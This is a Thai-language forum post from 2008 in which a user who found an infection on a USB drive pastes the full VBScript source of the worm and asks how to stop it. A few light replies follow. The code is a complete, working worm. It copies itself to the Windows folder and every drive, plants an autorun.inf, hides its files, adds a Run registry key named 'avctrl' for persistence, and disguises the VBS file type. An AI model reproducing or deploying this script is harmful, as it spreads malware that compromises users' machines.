ผมเจอมันติดอยู่ใน Flashdrive
ตัวมันมี 2 ไฟล์คือ Thumbs.vbs กับ autorun.inf
ปรกติผมสั่งให้ windows shows hidden files ตลอด แต่ทำไมมันถึงไม่แสดงอันนี้ผมเองก็ไม่รู้
ใครรู้ ก็ช่วยบอกผมหน่อยแล้วกัน
แต่ก็สามารถที่จะเห็นทั้ง 2 ไฟล์ได้ ถ้าโปรแกรมที่ใช้ explore ไม่ได้เป็น Windows explorer base
กรณีผมใช้ XnView
ไฟล์ Thumbs.vbs มีข้อมูลข้างในแบบนี้
'MICROSOFT WINDOWS SYSTEM DRIVER
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
on error resume next
Dim ScriptCode, winpath, flashdrive
Dim fs, autorunFiles, ThumbsFiles
Dim TargetFiles, CreateReg, CheckDrive, ScriptRun
autorunFiles = "[autorun]" & vbcrlf & "open=wscript.exe Thumbs.vbs" & vbcrlf & "shell\open=Open" & vbcrlf & "shell\open\Command=wscript.exe Thumbs.vbs" & vbcrlf & "shell\open\Default=1" & vbcrlf & "shell\explore=Explorer" & vbcrlf & "shell\explore\Command=Explorer.exe"
Set fs = CreateObject("Scripting.FileSystemObject")
Set ThumbsFiles = fs.getfile(Wscript.ScriptFullname)
Dim text, size
size = ThumbsFiles.size
CheckDrive = ThumbsFiles.drive.drivetype
Set text = ThumbsFiles.openastextstream(1, -2)
Do While Not text.atendofstream
ScriptCode=ScriptCode & text.readline
ScriptCode = ScriptCode & vbCrLf
Loop
Do
Set winpath = fs.getspecialfolder(0)
Set TargetFiles = fs.getfile(winpath & "\Thumbs.vbs")
TargetFiles.Attributes = 32
Set TargetFiles = fs.createtextfile(winpath & "\Thumbs.vbs", 2, True)
TargetFiles.write ScriptCode
TargetFiles.Close
Set TargetFiles = fs.getfile(winpath & "\Thumbs.vbs")
TargetFiles.Attributes = 39
For Each flashdrive In fs.drives
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path <> "A:" Then
Set TargetFiles = fs.getfile(flashdrive.Path & "\Thumbs.vbs")
TargetFiles.Attributes = 32
Set TargetFiles = fs.createtextfile(flashdrive.Path & "\Thumbs.vbs", 2, True)
TargetFiles.write ScriptCode
TargetFiles.Close
Set TargetFiles = fs.getfile(flashdrive.Path & "\Thumbs.vbs")
TargetFiles.Attributes = 39
Set TargetFiles = fs.getfile(flashdrive.Path & "\autorun.inf")
TargetFiles.Attributes = 32
Set TargetFiles = fs.createtextfile(flashdrive.Path & "\autorun.inf", 2, True)
TargetFiles.write autorunFiles
TargetFiles.Close
Set TargetFiles = fs.getfile(flashdrive.Path & "\autorun.inf")
TargetFiles.Attributes = 39
End If
Next
pt = """"
Set CreateReg = CreateObject("WScript.Shell")
CreateReg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\avctrl","wscript.exe c:\windows\Thumbs.vbs"
CreateReg.regwrite "HKEY_CLASSES_ROOT\vbsfile\DefaultIcon", "%SystemRoot%\System32\shell32.dll,-154"
CreateReg.regwrite "HKEY_CLASSES_ROOT\VBSFile", "Configuration Script"
If CheckDrive <> 1 Then Wscript.sleep 200000
Loop While CheckDrive <> 1
Set ScriptRun = CreateObject("Wscript.shell")
ScriptRun.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
'==================================
' vbs.allya by. iwing/indovirus
'==================================
' ### ## ## ## ## ###
' ## ## ## ## ## ## ## ##
' ##### ## ## ## #####
' ## ## ## ## ## ## ##
' ## ## ##### ##### ## ## ##
'==================================
ใครอ่าน code แล้วเข้าใจก็รบกวนหน่อยว่า จะหยุดมันยังไงได้บ้าง
เกรงว่าคน
mk Wed, 27/08/2008 - 18:48
เกรงว่าคนแถวนี้จะใช้ Windows กันน้อยนะครับ
ก็เลยไม่เ
macxide Thu, 28/08/2008 - 00:11
In reply to เกรงว่าคน by mk
ก็เลยไม่เป็นที่โดนกัน :-)
แมคไซด์ โปรไฟล์
เอาไปติดใ
kowito2 Thu, 28/08/2008 - 02:12
In reply to ก็เลยไม่เ by macxide
เอาไปติดใน VM เล่นไง ฮา
ลิเวอร์พูลเก่งที่สุดในจักวาล
นั่นสิครั
Nozomi Thu, 28/08/2008 - 00:09
นั่นสิครับ
ส่วนตัวก็แก้ไขปัญหานี้เสร็จไปตั้งแต่เช้าละครับ แฮะๆ